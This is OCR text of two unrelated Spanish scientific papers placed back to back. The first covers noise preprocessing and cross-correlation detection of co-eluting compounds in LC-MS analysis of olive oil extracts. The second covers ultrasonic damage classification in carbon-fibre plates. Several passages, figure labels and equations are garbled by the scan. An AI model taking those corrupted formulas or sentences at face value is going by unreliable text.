valores cada una; tiempo de retencién (cuando sale cada
molécula de la columna separativa), relacion masa/carga
(medida en daltons, Da) e intensidad (proporcional al nimero
de iones de préacticamente igual masa que llegan en un tiempo
determinado).

E. Muestras simples y complejas

Consideramos muestras simples a aquellas que tienen pocos
compuestos suficientemente separados por el proceso
cromatografico. Es decir, si observamos la representacion de
la intensidad de todas las masas en funcién del tiempo de
retencién (lo que se conoce como cromatograma de ion total),
veremos un pulso con forma gaussiana por cada compuesto
abundante, resultando asi trivial su deteccién. En la figura 1 se
puede observar un ejemplo concreto de una muestra simple.
En dicha figura aparece un cromatograma de ion total (imagen
superior) y un espectrograma (imagen inferior), que representa
la intensidad (en escala cromatica) en funcion del tiempo de
retencion y de la relacién masa/carga.

Consideramos muestras complejas a aquellas en las que, por
tener muchos compuestos, el proceso cromatografico no
consigue separar los compuestos en el tiempo, por lo que hay
muchos compuestos que salen en los mismos tiempos de
retencion  (situacion conocida como coelucién entre
compuestos). En la figura 2 se puede ver un ejemplo de una
muestra compleja. En dicha figura se pueden observar tanto el

cromatograma de ion total como el espectrograma. En el
cromatograma Unicamente se distinguen una serie de picos
correspondientes a algunos compuestos muy abundantes,
mientras que la mayoria de los compuestos permanecen
ocultos por la coelucion entre ellos.
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Figura 2. Ejemplo del cromatograma de ion total y del espectrograma
de una muestra simple.

F. Métodos actuales para la deteccién y caracterizacion de
compuestos

Generalmente, los métodos automaticos para deteccién y
caracterizacién de compuestos son efectivos cuando la
muestra es simple, ya que su funcionamiento consiste en
distinguir los pulsos gaussianos en el cromatograma de ion
total (inviable para muestras complejas). Una vez detectado
cada compuesto, se caracteriza agrupando todas las especies
i6nicas que aparecen en su rango temporal, lo cual es légico
Unicamente si ese compuesto no coeluye con ningln otro. Sin
embargo, estos métodos no son capaces de obtener buenos
resultados cuando la muestra es compleja, ya que la coelucion
entre los compuestos impide que se puedan distinguir en un
cromatograma. Ademas, las huellas espectrométricas de los
compuestos aparecerian mezcladas en el tiempo, por lo que la
forma de caracterizarlos tampoco es valida (véase figura 2).

Para analizar muestras complejas, la forma méas efectiva
hasta el momento es la manual, que consiste en localizar de
forma muy exhaustiva los pulsos gaussianos correspondientes
a cada compuesto e intentar caracterizarlos observando las
especies idnicas que son candidatas a formar parte de su huella
espectrométrica. Este proceso requiere mucho tiempo para
contrastar una gran cantidad de gréficas y de conocimientos
avanzados en quimica analitica.

Por lo tanto, resulta evidente la necesidad de desarrollar
técnicas automaticas para la deteccion y caracterizacion de
compuestos en una muestra quimica compleja.

Il. METODOS

En este apartado se mostraran tanto las técnicas Unicamente
implementadas (no ideadas en este trabajo) como las ideadas,
implementadas y probadas en este trabajo.
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A. Preprocesado del ruido por distribucién de intensidades

La presencia de ruido ionico, estadistico y electronico en el
analisis LC-MS provoca la presencia de una gran cantidad de
entradas correspondientes Unicamente a ruido. Normalmente,
estas entradas son de baja intensidad y no afectan seriamente
la deteccion de compuestos, pero si afectan significativamente
al tiempo de cémputo total. Este hecho hace necesaria la
implementacién de técnicas que reduzcan significativamente
la cantidad de ruido y, con ello, el volumen total de datos.

La técnica implementada en este apartado se basa en
eliminar las entradas que estén por debajo de un umbral de
intensidad, ya que se consideraran ruido. Como es légico,
cuanto mayor sea el umbral de intensidad, mas ruido se
eliminard. Sin embargo, un umbral de intensidad alto
incrementa el riesgo de eliminar informacién importante (por
ejemplo, una especie idnica poco abundante de un compuesto).
Por lo tanto, hay que buscar un valor de intensidad que permita
eliminar el m&ximo de ruido, manteniendo al minimo la
probabilidad de eliminar informacion valiosa.

La solucién a este dilema se basa en la distribucién de las
intensidades. Si observamos el histograma de éstas, podemos
distinguir claramente la presencia de dos modos distinguibles,
como se ha intentado ejemplificar en la figura 3,
correspondiente a un caso concreto analizado en este trabajo.
El primer modo muestra la presencia de muchas entradas de
baja intensidad, correspondientes a ruido. El segundo modo
representa las entradas de alta intensidad correspondientes a
los compuestos. Suprimiendo las entradas pertenecientes al
primer modo, eliminamos gran parte del ruido de baja
intensidad pero mantenemos al minimo la probabilidad de
perder informacion valiosa.

x 10° Histograma de intensidades

Namero de entradas

o
0 50 100 150 200 250 300 350 400

Intensidad

Figura 3. Ejemplo de histograma de intensidades

B. Preprocesado del ruido por continuidad temporal

Como se menciono anteriormente, los compuestos salen de
la columna cromatogréafica con una forma aproximadamente
gaussiana. Por lo tanto, las entradas correspondientes a
compuestos aparecerdn en tiempos contiguos y en masas
practicamente iguales, mientras que las entradas debidas a
ruido aparecerdan de forma aleatoria en todo el rango de
tiempos y de masas. Teniendo esto en cuenta, se puede hacer
un criterio, para distinguir entre ruido y compuestos, en el que,
si una entrada en un tiempo T tiene entradas en el tiempo
anterior (To-1) y en el posterior (To+1) con practicamente la
misma masa, entonces esas entradas seran debidas a un
compuesto. En caso contrario sera debida a ruido. En la figura
4 se observa de forma muy evidente la continuidad de las
entradas debidas a un compuesto (entradas centrales de la
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imagen) y la discontinuidad de las entradas debidas a ruido
(bordes de la imagen).

Espectrograma de alta resolucion (10 mDa) centrado en 4.630900e+02 +- 0.25 Da

Masa/carga ion (Da)

700 750 800 850 900 950
Tiempo de retencion (s)

Figura 4. Ejemplo de espectrograma para un rango pequefio de masas.

C. Deteccion y supresion de artefactos quimicos

Entre los datos obtenidos del analisis, encontramos una serie
de sefiales que no son propiamente ruido, pero que por su alta
intensidad afectan a la deteccion mucho méas que éste. Estas
seflales las conocemos como “artefactos quimicos” y se
pueden observar en el espectrograma como lineas continuas
horizontales (constantes en masa) con una alta intensidad. Los
artefactos quimicos son provocados por la ionizacion de la fase
movil y fija que salen de forma continua de la columna
separativa, llegando a la cdmara de ionizacion.

Los artefactos quimicos afectan muy negativamente a la
deteccion de compuestos ya que presentan una intensidad muy
elevada que provoca una gran cantidad de falsos positivos en
la deteccidn, por lo que han de ser eliminados como parte de
un preprocesado.

Histograma de intensidades para la masa 595.133 Da
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Histograma de intensidades para la masa 206.973 Da
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Figura 5. Ejemplo de los histogramas de intensidades de un compuesto
(gréfica superior) y de un artefacto quimico (gréfica inferior).

En este trabajo se ha ideado una técnica para distinguir entre
compuestos y artefactos quimicos. Esta técnica se basa en que,
aunque ambas sefiales presentan una intensidad muy elevada,
los compuestos salen Unicamente de forma abundante en un
rango de tiempos determinado y, por tanto, tienen muchas
entradas de poca intensidad y pocas entradas de muy alta
intensidad. Por contra, los artefactos quimicos presentan
entradas de alta intensidad distribuidas de forma uniforme
durante todo el andlisis. El factor més importante a tener en
cuenta es que los compuestos tienen un rango de intensidades
muy elevado (por la forma gaussiana de sus pulsos), mientras
que los artefactos quimicos tienen, en comparacion, un rango
de intensidades mucho menor. Estos hechos se reflejan en el
ejemplo de la figura 5, donde se observa el histograma de
intensidades de un compuesto (grafica superior) y el
histograma de intensidades de un artefacto quimico (grafica
inferior). La gran diferencia entre ambas formas nos permite
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identificar los artefactos quimicos recorriendo el rango de
masas Yy buscando histogramas de intensidad que tengan
caracteristicas similares a las observadas en la figura 5 (gréfica
inferior).

D. Herramienta automatica para la deteccion y la
caracterizacion de compuestos en muestras quimicas
complejas obtenidas mediante HPLC-ESI-MS/TOF.

El objetivo principal de este trabajo ha sido probar la
viabilidad de una técnica innovadora para la deteccién y la
caracterizacién automatica de compuestos en muestras
quimicas complejas.

La herramienta desarrollada se basa en el concepto de que
los compuestos salen de la columna separativa con una forma
aproximadamente gaussiana. Ademas, dado que el proceso de
ionizacion se realiza al salir el compuesto de la columna
separativa, todas las especies ionicas correspondientes al
mismo compuesto tendrdn exactamente la misma forma
cromatografica (intensidad en funcién del tiempo de
retencién), con una mayor o menor intensidad en funcién de la
abundancia de cada especie idnica. En la figura 6 se observa
un ejemplo de la forma cromatogréafica de dos especies i6nicas
pertenecientes al mismo compuesto.

Agrupaciones secundana y principal
55 T T T T T

Principal con
Tiempo: 799 5

Masa pesada: 463.089
Secundaria con
w—militud al 9.7

Masa pesada de 464.092

Intensidad en escala logaritmica
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Figura 6. Ejemplo de la forma cromatogréfica de dos especies idnicas del

mismo compuesto.

Teniendo en cuenta los conceptos anteriores, la técnica
ideada detectard los compuestos buscando especies idnicas
muy abundantes (de forma que encuentre al menos una de cada
compuesto) en una busqueda muy rapida y las compararé entre
si de forma que, si la correlacién cruzada entre la forma
cromatografica de dos especies idnicas es un valor cercano al
100%, entonces ambas especies idnicas pertenecen al mismo
compuesto (ya que tienen igual forma cromatografica). Por el
contrario, si la correlacion cruzada entre las formas
cromatograficas de dos especies i6nicas es un valor bajo, las
especies ionicas perteneceran a compuestos distintos. Una vez
realizado este proceso, habremos encontrado la especie i6nica
méas abundante de cada compuesto (o ion principal) y, por
tanto, habremos completado el proceso de deteccidon de
compuestos.

Cabe destacar que la deteccion se ha realizado comparando
(por correlacion cruzada) las especies idnicas entre si, por lo
que aunque dos (0 mas) compuestos coeluyan, su correlacion
cruzada sera baja por no tener la misma forma cromatografica
y, por tanto, se podran detectar dos (0 mas) compuestos que
estén coeluyendo, superando asi el problema de la coelucidn.

La caracterizacion de cada compuesto se realiza agrupando
las especies ionicas asociadas a dicho compuesto en su huella
espectrométrica. Para ello, se compara (por correlacién
cruzada) la especie idnica principal de cada compuesto
encontrado, con todas las posibles especies i6nicas que se
encuentren en su rango temporal. Al igual que se hacia en la

deteccion, si la correlacidn cruzada da un valor muy elevado,
entonces la especie iénica formara parte de la huella
espectrométrica del compuesto. De esta forma se caracteriza
cada compuesto por separado aunque sus huellas
espectrométricas estuviesen mezcladas por la coelucién, ya
que se distinguen entre si por correlacién cruzada.

El proceso realizado, de forma general, es el siguiente:

- Aplicacién de un umbral de intensidad elevado. Este
paso es fundamental, ya que permite detectar los
compuestos muy rapidamente. El valor del umbral ha
de ser cogido con cuidado ya que, un valor demasiado
bajo hace que el proceso sea muy lento, mientras que
un valor demasiado alto puede hacer que suprimamos
la especie idnica mas abundante de algiin compuesto y,
por tanto, no lo detectemos.

- Las entradas con masa muy cercana y tiempos de
retencién contiguos, se agrupan en una especie idnica,
agrupando asi todas las entradas en las distintas
especies ionicas.

- Una vez se tienen las distintas especies idnicas, se
comparan entre si por correlacion cruzada y se
distingue la especie idnica mas abundante (o principal)
de cada compuesto.

- Partiendo de la especie idnica principal de cada
compuesto, en los datos en los que no se ha aplicado un
umbral de intensidad (el minimo para quitar ruido), se
recorre todo el rango de masas buscando (por
correlacion cruzada) las demas especies ionicas del
compuesto, agrupandolas en su huella espectrométrica.

Espectrograma de baja resolucion (1 Da) Espectrograma de baja resolucion (1 Da)

Espectrograma de baja resolucion (1 Da)
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Figura 7. Ejemplo de secuencia de espectrogramas en la deteccion.
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Para entender mejor este proceso, en la figura 7 se muestra,
a modo de ejemplo, una secuencia donde se observa, de
izquierda a derecha, las distintas situaciones en varios pasos
del proceso. El espectrograma de la izquierda muestra una
zona de los datos antes de aplicar el umbral de intensidad. En
el espectrograma central se muestran las entradas tras la
aplicacion de un umbral alto de intensidad. Estas entradas se
agrupan en las especies i6nicas y se comparan entre si,
quedando finalmente las especies ionicas principales de cada
compuesto, como se muestra en el espectrograma de la
derecha. Como se puede observar, en este rango de tiempo y
masa se han detectado tres compuestos.

Continuando con el ejemplo anterior, la caracterizacion de
la huella espectrométrica para los tres compuestos detectados
se puede observar en la figura 8. Correlacionando las especies
iGnicas principales encontradas (espectrograma central) con
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todas las especies i6nicas de todo el rango de masas
(espectrograma de la izquierda), se agrupan las especies
idnicas en las tres huellas espectrométricas (espectrograma de
la derecha).
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Figura 8. Ejemplo de secuencia de espectrogramas en la caracterizacion.
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E. Experimentos para la evaluacion

La evaluacién de las técnicas de preprocesado de ruido y de
la técnica de supresion de artefactos quimicos, se realiza de
forma cuantitativa segin sus resultados en muestras
complejas.

Para evaluar la técnica de deteccién y caracterizacion de
compuestos, el proceso es mucho mas complejo ya que no se
puede comparar con ningun método automatico actual (no
consiguen enfrentarse a una situacion con coelucion). Por lo
tanto, se va a realizar la evaluacion comparando sus resultados
con los obtenidos por un equipo de expertos en quimica
analitica cuando realizaron la deteccion y la caracterizacion de
forma exhaustiva y manual, utilizando en ambos casos los
mismos datos.

I1l. RESULTADOS

A. Datos utilizados para la evaluacion

Se han utilizado dos colecciones distintas de muestras; una
coleccion de muestras simples preparadas en el laboratorio y
una coleccion de muestras complejas obtenidas de aceite de
oliva.

La coleccién de muestras simples consiste en la mezcla
preparada en laboratorio de varios estandares polifendlicos, en
distintas proporciones segin la muestra. Por lo tanto, en cada
una de estas muestras se sabe qué compuestos han de aparecer
y en qué proporcidn, por lo que la evaluacion consistira en
comprobar que los compuestos detectados coinciden con los
mezclados en esa muestra en el laboratorio. En la figura 1 se
observa la representacion de una de estas muestras.

La coleccion de muestras complejas esta formada por
extractos fendlicos de distintos aceites de oliva. Estas muestras
tienen una gran cantidad de compuestos que coeluyen entre si,
por lo que es muy dificil realizar en ellas la deteccion y
caracterizacion de compuestos.

B. Preprocesado de ruido

Para comprobar la eficacia de los métodos de preprocesado
de ruido, se han aplicado de forma conjunta en una de las
muestras complejas. En primer lugar se ha aplicado el
preprocesado de ruido con un umbral de intensidad bajo,
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correspondiente al cruce entre los dos modos mostrados en el
histograma de la figura 3. Tras la aplicacion del umbral, se ha
utilizado la condicién de continuidad temporal, eliminando las
entradas que no presenten entradas de igual masa en el instante
anterior y posterior. Aplicando este filtrado, se ha logrado
reducir el volumen de entradas de 6.717.788 a 661.560
(reduccion de més del 90%).

C. Identificacion y supresion de artefactos quimicos

Para evaluar este método se puede observar la reduccién del
nimero de entradas de alta intensidad antes y después de
eliminar los artefactos quimicos. En la figura 9 se muestra el
resultado de-apliear la supresion de artefactos-guimicos a una
muyestra simple, donde se observan claramente las lineas de
nhasa continua (artefactos qmmwo&) que se han eliminado. De
férma cuantitativa, se ha pasado:de 1.200 entradas de alta
|nten5|dad a 429 entradas de alta intensidad, consiguiendo asi
una reductidnel 64,25%:

Espectiograma de ba esolucon (1 0e)

B & S0 S0 60 6D 0 T 80
Tempo de reteion (5

Espectiogama de a resoucion 1 0a)

B oADK G0 0 T B0
Tepo de retenion (5

Figura 9. Supresion de artefactos quimicos en una muestra simple.
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Tempo de retecion (5

D. Deteccion y caracterizacion de compuestos en muestras
simples

Aplicando la herramienta en la muestra simple mostrada en
la figura 3, se detectan y caracterizan 7 compuestos. De los 7
compuestos detectados, 5 de ellos habian sido mezclados en la
muestra y los otros 2 eran contaminantes presentes en la
muestra, por lo que la deteccion ha sido correcta.

E. Deteccion y caracterizacién de compuestos en muestras
complejas

En la aplicacion de la herramienta a una muestra de la
coleccion de extractos de aceites de oliva (muestras complejas
por su alto nimero de compuestos con mucha coelucién), se
han detectado 83 compuestos. De forma manual, los expertos
en quimica analitica encontraron 31 compuestos en esta
muestra. De los 83 compuestos detectados, 27 coinciden con
los encontrados manualmente y 37 son compuestos detectados
por la herramienta pero no encontrados manualmente. Los 19
restantes son falsos positivos provocados por un lavado precoz
de la columna separativa. En la figura 10 se observa un
ejemplo de los 37 compuestos encontrados por la herramienta
desarrollada pero no de forma manual. En dicha figura se
observar que el compuesto coeluye con otros y, por tanto, no
se puede distinguir de forma manual pero si con el proceso
desarrollado.
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Figura 10. Cromatograma de uno de los compuestos encontrados en la

muestra con la herramienta desarrollada pero no encontrados manualmente.
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ER este trabajo se-kg-yealizado un estudio de la respuesta
@strumental de un sistema de cromatografia liquida acoplada
a egpectrometria de masas, consiguiendo caracterizar el ruido
presente en este sistema para implementar y desarrollar
técnigas dgprepggeesamiepto de gyiidg gue gyudepa reghiciyyg)
volumen de datos y permitagaleadeteccion automaética de
compuestos en un andlisis posterior.

La efectividad de las técnicas de preprocesado de ruido,
tanto la basada en la aplicacion de un umbral de baja
intensidad, como la basada en la continuidad temporal de los
compuestos, ha sido probada y evaluada en situaciones ideales
(muestras simples) y reales (muestras complejas), obteniendo
resultados muy satisfactorios.

La técnica de identificacion de artefactos quimicos ha sido
completamente ideada y desarrollada en este trabajo, donde se
ha comprobado también su eficacia en muestras simples y
complejas. Los resultados obtenidos han sido muy buenos en
todas las situaciones donde se han evaluado.

La técnica de deteccion y caracterizacion de compuestos se
desarroll6 bajo la idea de probar la eficacia de que se basase
en una técnica de procesamiento de sefial, la correlacion
cruzada. Como se ha podido comprobar en este trabajo, la
comparacion de especies i6nicas por correlacion cruzada de
sus perfiles cromatograficos, permite la deteccion y la
caracterizacion de compuestos tanto en muestras simples
como complejas, siendo capaz de superar el problema de la
coelucién entre compuestos. Por lo tanto, la demostracion
realizada en este trabajo abre un nuevo camino para el
desarrollo de técnicas automéaticas de deteccion vy
caracterizacién de compuestos en muestras quimicas incluso
en situaciones con un elevado grado de coelucion.
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Resumen— En el contexto de la evaluacion no destructiva
ultrasonica, en este trabajo se ha disehado un sistema de
deteccion y cuantificacion de dafio en placas de fibras de carbono.
Para ello se ha hecho uso de un modelado mecanico sparse de
la sefial, que representa de forma sencilla las interacciones del
ultrasonido y el material testado, con el fin de extraer una
serie de vectores de caracteristicas representativos. Concreta-
mente, aqui se trabaja tanto con parametros cepstrales como
con otros derivados de la transformada discreta del coseno.
Posteriormente, a las caracteristicas originales extraidas se les
aplican diferentes técnicas de reduccién dimensional con el fin de
eliminar la informacién redundante que contienen. Finalmente,
se introducen en un sistema de clasificacion basado en analisis
discriminante con el objetivo de discriminar la severidad del
impacto al que se sometié el material de prueba. Este enfoque
incrementa notablemente la tasa de acierto del clasificador,
reduciendo ademas el coste computacional.

Palabras clave— Analisis discriminante, evaluacion ul-
trasénica no destructiva, extraccion de caracteristicas, modelado
sparse de seiial, reduccion dimensional.

I. INTRODUCCION

L objetivo de este trabajo es el andlisis de dafios a un

espécimen de fibra de carbono reforzado con polimero
(CFRP). Este tipo de material se emplea ampliamente en la
actualidad en sectores como la construccion, la industria o la
aerondutica debido a sus excelentes propiedades mecdnicas:
gran rigidez, baja densidad, resistencia a la corrosién y un
bajo coeficiente de expansién térmica. Sin embargo, sus
propiedades se pueden ver afectadas por algin tipo de impacto
durante el proceso de fabricacién, asi como por la fatiga que
pueda sufrir el material con el tiempo. Incluso si estos dafios
no son visibles, la integridad mecénica puede verse afectada,
de manera que se requieren mecanismos de exploraciéon de
este material para la localizacidn de defectos.

Con este fin, una de las alternativas que se suelen emplear
es la evaluacion no destructiva (END) ultrasénica, ondas
acusticas por encima de los 20 KHz que nos proporcionan
un método no invasivo, eficiente y a bajo coste para analizar
la estructura interna de los materiales. Este tipo de mediciones
suelen ser muy precisas y nos ofrecen una informacién
muy detallada (localizacién, tamafio y orientacién) de las
discontinuidades presentes en un material [1]. El pardmetro
mds importante que se debe tener en cuenta en END es la
frecuencia de trabajo, la cual se ajustard principalmente en
funcién del material a explorar y los siguientes requisitos de
nuestro sistema:

« Sensibilidad, que es la capacidad de detectar pequefias
discontinuidades. Esta se incrementa conforme aumenta-
mos la frecuencia del ultrasonido, puesto que se trabaja
con longitudes de onda menores, lo que permite una
exploraciéon mas fina de los defectos del material.

« Resolucién o capacidad de discriminar dos defectos muy
cercanos entre si, para lo que conviene emplear una
frecuencia lo més elevada posible.

o Capacidad de penetracién. A mayor frecuencia la pene-
tracion del ultrasonido es mas superficial.

La complejidad interna de la estructura de CFRP hace que
la interpretacion del ultrasonido no sea inmediata puesto que
tipicamente aparecen numerosos ecos solapados. Por ello se
hace necesario un conjunto robusto de pardmetros adecuado
que permita extraer informacion relevante del espécimen, los
cuales serdn extraidos de un modelado mecédnico del CFRP.
Tipicamente este modelo suele ser todo-polos, pero en este
articulo se empleard un modelo sparse de la sefial que ha
funcionado muy bien en trabajos similares [2] - [3]. En cuanto
a parametrizaciones, por lo general se han utilizado amplia-
mente el cepstrum, la transformada discreta del coseno (DCT)
0 wavelets ya que proporcionan representaciones compactas
del ultrasonido [4].

Una vez que se dispone de pardmetros representativos se
requiere una cuantificaciéon de la severidad del dafio que
sufre el material, para lo cual se necesita un disefio de
un sistema de clasificaciéon automatica que discrimine entre
distintas categorias de dafos. Para ello se utilizard el anélisis
discriminante, que ha alcanzado buenos resultados en distintos
trabajos del &mbito de 1la END [5]. Ademads, se va a incluir un
paso previo a la clasificacién que consiste en una reduccion
dimensional de los vectores de pardmetros, de manera que
sean mads representativos de los distintos niveles de dafio. De
esta manera, se consigue un sistema de clasificacién con una
gran tasa de acierto, al eliminar gran parte de la informacién
superflua antes de utilizarla para discriminar defectos en el
espécimen de CFRP bajo test.

II. MARCO EXPERIMENTAL

En este trabajo el material es una placa CFRP simétrica
con 4 capas, de manera que las capas 1 y 4 son iguales entre
si, al igual que las capas 2 y 3. Dicho material se somete
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Fig. 1: Configuracién experimental del sistema de medida.

a un test de impacto, lanzando contra él varios proyectiles
con diferentes energias cinéticas y generando asi 5 niveles de
dafio, etiquetados desde 1 a 5 segun su severidad creciente. El
montaje experimental para monitorizar las sefiales ultrasénicas
se muestra en la figura 1, en la que se observa cémo se
fijan dos transductores a los extremos del espécimen con gel
acoplante (para evitar la atenuacién del ultrasonido en el aire).
La excitacién es una sefial senoidal de 5 MHz y 5 Vpp de
amplitud, mientras que las sefiales de respuesta se registran
durante 15 ps (momento en el que dejan de observarse
reflexiones entre el espécimen y los transductores). Después se
procede a una preamplificacién de 40 dB y a un muestreo con
un conversor analdgico/digital de alta resolucién, empleando
una frecuencia de Fs=100 MHz, consiguiendo de esta manera
N,=1500 muestras. Finalmente, se aplica una cuantizacién
uniforme de 12 bits.

Este procedimiento de medida se repite 40 veces para cada
energia de impacto, de manera que generamos una base de
datos con 40 x 6 sefiales (incluyendo también medidas para
la placa sin dafiar, a las que etiquetamos como nivel 0 de
dafio, a fin de tomarlas como referencia). Cada medida es el
promedio de 300 capturas consecutivas de la sefial, logrando
asi incrementar la razén de sefial/ruido (SNR) alrededor de
24.7 dB. El preprocesado de las sefiales concluye con un
enventanado Hamming para realzar los ecos secundarios de la
sefal ultrasénica, los cuales proporcionan informacién valiosa
de cara a la clasificacion de los dafos de acuerdo a [6].

III. DISENO DE LA SOLUCION PROPUESTA

En esta seccion se describe cada uno de los mddulos del
clasificador disefiado basado en la combinacion de técnicas de
reduccién dimensional y andlisis discriminante, representado
en la Fig.2.

A. Modelado mecdnico

Al propagarse una onda ultrasénica a través de un material
multicapa puede atravesar capas con diferentes propiedades.
En tal caso, una parte de la onda se refleja, mientras que
otra parte se propaga segun las impedancias acusticas de los
materiales que las forman [7]. Para modelar la propagacién
de la onda ultrasénica en el espécimen CFRP analizado se
empleardn dos modelos desarrollados por Fuentes et al. [2],
que sirven para describir los fenémenos de transmisién y
reflexiéon que se muestran en la Fig.3. Aqui se describirdn

Unicamente las variantes todo-polos de dichos modelos, puesto
que son las que mejores resultados han proporcionado.

En primer lugar consideramos la 1?* aproximacién mecédnica
(AM1) del modelo, que se basa en asumir que los coeficientes
de transmisién 7' son mucho mayores que los de reflexion
R, de manera que se pueden omitir éstos ultimos. De esta
manera se obvian las reflexiones del ultrasonido en el interior
del espécimen al atravesar capas diferentes y se obtiene el
modelo representado mediante la funcién de transferencia de
la Ecuacion 1,

bz—M
Hann(2) = — YT ey
Z akz*k + Z akz*k +1
k=1 k=2M

donde M representa el espesor de la placa, b es un factor
de ganancia y los pardmetros s y p son los dérdenes de las
sumatorias del denominador, conocidas como predictores de
orden bajo y de orden alto respectivamente. Cabe destacar que
el modelo empleado difiere del cldsico todo-polos, puesto que
los coeficientes aj, no son consecutivos: es lo que se denomina
modelo sparse. La precision del modelado puede mejorarse si
incluimos las reflexiones internas que se aprecian en la figura
3, lo cual se hace a través de un predictor adicional en el
denominador de la funcién de transferencia del modelo. Este
modelo constituye la 2% aproximacién mecdnica (AM?2) y se
expresa formalmente como se muestra en la Ecuacién 2,

bz—M
Hama(2) = P 2mtr 2M ts
Zakz_k + Z akz_k + Z akz_k +1
k=1 k=2m k=2M

@)
donde los pardmetros m y r denotan el orden del nuevo
predictor que modela la ubicacién de una interfaz virtual .J,
(ver Fig.3). Esta no deja de ser un punto intermedio del
material en el cual se concentran los efectos de todas las
reflexiones internas.

B. Parametrizaciones

En el presente trabajo trabajamos con dos tipos de
parametrizaciones, ambas derivadas a partir de los modelos
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Fig. 3: Propagacién de la onda en el espécimen CFRP.
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Fig. 2: Diagrama del sistema completo, con una etapa de reduccién de caracteristicas y otra de clasificacién.

mecdnicos expuestos en la Seccién III-A. La primera de
ellas es la DCT, entre cuyas ventajas se debe destacar el
hecho de que sea una transformada real y que presenta una
buena capacidad para compactar la informacién de la sefial
original en unos pocos coeficientes transformados. Por otro
lado también se analiza una parametrizacion basada en el
cepstrum c¢;, asociado al modelo mecdnico, definido como
se muestra en la Ecuacién 3 en la que % representa la
transformada de Fourier, H(w) es el espectro en frecuencia
del modelo y k denota el indice de cuefrencia. La principal
ventaja de emplear el cepstrum reside en su propiedad de
deconvolucion [8].

cn(k) = 7~ logl Z[h(n)]]] = 7~ loglH(W)]]  (3)

Ambas parametrizaciones requieren una reduccidon pre-
liminar de pardmetros debido a que normalmente muchas
de sus componentes poseen valores cercanos a 0, lo cual
supone mucha informacién irrelevante y que no contribuye a
caracterizar las sefiales. Por ello se les aplica un liftering, esto
es, un enventanado para eliminar las cuefrencias superiores
(con lo que se logra suavizar el espectro, eliminando su rizado
pero conservando la envolvente) o las componentes de la DCT
cuando acaban tendiendo a cero.

C. Técnicas de reduccion dimensional

El objetivo primordial de este paso es reducir el tamafio de
los vectores de caracteristicas, desde N hasta L (L < N),
condensando la informacién original en un ndmero menor
de parametros mads representativos de los niveles de dafio
que los originales. Ademds, de esta manera se logra evitar
el fenomeno de Hughes, también conocido como efecto de
pico [9]. Este es un problema muy comiin en los problemas
de clasificacion automética, generando un decaimiento del
rendimiento del clasificador cuando la dimensionalidad de los
datos de entrada es extremadamente grande o éstos se encuen-
tran muy dispersos y con ruido. Las principales técnicas de
reduccién dimensional utilizadas han sido:

« Andlisis de componentes principales (ACP).

Consiste en una transformacién lineal que selecciona
aquellas componentes que proporcionan mayor poder
resolutivo, es decir, las que presentan mayor varianza.
Asi, los datos originales N-dimensionales son proyec-
tados en un espacio de menor tamafio L (L <« N)
donde se encuentran mas decorrelados [10]. Para aplicar
el ACP a nuestros datos, éstos deben tener una gran
SNR. Ademads, se asume una gaussiana para cada una de
las clases, por lo que la media y la varianza deben ser
suficientes para describir la distribucién de probabilidad
de las mediciones en cada una de las clases. En la
Ecuaciéon 4 se muestra como se realiza el mapeo de
los datos, siendo W la funcién de transformacion, X
(X € RN) los datos originales y ¥ (¥ € R) los vectores
de caracteristicas tras ser reducidos.
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Y=Ww'X )

La matriz W estd formada por los L autovectores asocia-
dos a los mayores autovalores de la matriz de covarianza
de X ordenados decrecientemente [11]. Cuanto mayor sea
L, mejor serd la aproximacion, aunque por lo general
con unas 4-5 componentes se retiene mds del 90% de
la variabilidad original del conjunto de datos (si éste se
ajusta bien a las hipétesis del ACP).

Andlisis de factores (AF).

Esta técnica de reduccién dimensional asume que los
vectores de caracteristicas de N componentes se pueden
explicar mediante combinaciones lineales de un nimero
menor L de variables. Estas tdltimas se conocen como
factores comunes F. Ademads, se agrega un término de
error conocido como factores unicos U para cada una de
las variables N originales, llegando a la definicion de la
Ecuacién 5.

X=AF+DU (5)

En la ecuacion anterior X es un vector columna que de-
nota las variables originales, D es una matriz diagonal y
A se conoce como matriz factorial, siguiendo la notacién
de [11]. El objetivo del andlisis factorial es encontrar los
coeficientes de dicha matriz que maximizan la variabili-
dad explicada a través de los factores comunes.
Para reducir las dimensiones del vector de parametros
original es posible aproximar X empleando Unicamente
los factores comunes una vez hemos calculado la matriz
A, como sigue:

X ~ AF ©6)

Tanto el ACP como el AF son técnicas lineales. Sin
embargo, existe una importante diferencia conceptual
entre ambas. Por un lado, el ACP se queda con aquellas
caracteristicas mas significativas, pero escogidas entre las
originales. Sin embargo, el AF genera una serie de nuevas
caracteristicas (los factores comunes) que tratan explicar
las caracteristicas originales asumiendo que éstas se
pueden describir a través de un modelo subyacente en
las mismas.

Stochastic proximity embedding (SPE).

Este algoritmo autoasociativo trata de insertar los datos
N-dimensionales originales en un espacio euclideo de
menor dimensién (de tamafio L), preservando la métrica
original de los datos [12]. De esta manera, SPE parte
de una configuracién inicial aleatoria de los puntos
originales en el espacio reducido e iterativamente va
refinando la distribuciéon de los mismos y ajustando
sus coordenadas para que las distancias en el espacio
mapeado d;; sean proporcionales se aproximen a las que
existian en el espacio original, a las que denotaremos
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por r;;. SPE estd especializado en modelar estructuras
no lineales en las que por lo general, las distancias
euclideas y las proyecciones ortogonales no funcionan
adecuadamente. Matemadticamente, equivale a minimizar
la funcién de estrés que se muestra en la Ecuacién 7,
g L g Fdiorig) D
Tij e Tid
donde f(d;j,7i;) es una funcién de error por pares de
puntos que se define a continuacion:

)2
f(dij77'ij){ (d” Or”)

si Tij <r.o dij < Tij
si Tij > Tc O di]‘ > Tij

Siendo r. un valor predefinido que indica el radio en el
que asumimos vecindad entre dos puntos.

Estas tres técnicas de reduccién han sido las que mejores re-
sultados han proporcionado, si bien se han analizado también
otras alternativas interesantes como el mapeo no lineal de
Sammon [13] y la clasificacién de gran margen [14].

D. Clasificacion basada en andlisis discriminante

Llegados a este punto, mediante alguna de las técnicas de
reduccién dimensional del apartado anterior, se ha limitado
el tamafio de los vectores de caracteristicas de N a L
componentes. El objetivo ahora es asignar una de las K clases
o categorias de dafio a cada una de las mediciones, lo cual
puede hacerse maximizando la funcién discriminante g;, de la
Ecuacion (9),

(x — Nk)TEQk_ (= pw) log(P(k))

_ log(|2k])
? o
donde pg, X y P(k) son respectivamente el centroide, la
matriz de covarianza y la probabilidad a priori de la clase
k (0 < k < K —1). De esta manera, cada medicién x se
clasifica como perteneciente a la clase k cuando el valor de
gr, es mayor que el obtenido con cualquier otra de las clases.
La ecuacidén anterior genera fronteras cuadraticas para se-
parar las diferentes categorias de dafio, por lo que se conoce
